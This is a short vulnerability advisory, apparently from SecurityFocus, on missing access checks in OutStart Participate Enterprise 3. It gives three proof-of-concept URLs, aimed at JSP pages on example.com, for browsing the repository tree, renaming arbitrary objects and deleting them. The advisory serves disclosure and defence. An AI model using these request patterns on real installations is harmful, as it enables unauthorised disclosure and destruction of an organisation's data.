OutStart Participate Enterprise 3 - Multiple Access Validation Vulnerabilities

source: https://www.securityfocus.com/bid/12752/info

Participate Enterprise is reported prone to multiple access validation vulnerabilities. These issues may allow remote attackers to disclose sensitive information and corrupt and delete data that can ultimately lead to a denial of service condition.

The following specific issues were identified:

An attacker can browse the directory tree and disclose sensitive information.

An attacker can rename arbitrary objects.

An attacker can delete arbitrary objects as well.

All versions of Participate Enterprise are considered vulnerable at the moment.

To browse the directory tree:
http://www.example.com/pe/repository/displaynavigator.jsp?rootFolder=101

To rename an object:
http://www.example.com/pe/repository/include/renamepopup.jsp?selectedObject=101

To delete an object:
http://www.example.com/pe/repository/displaydeletenavigator.jsp?selectedObjectsCSV=101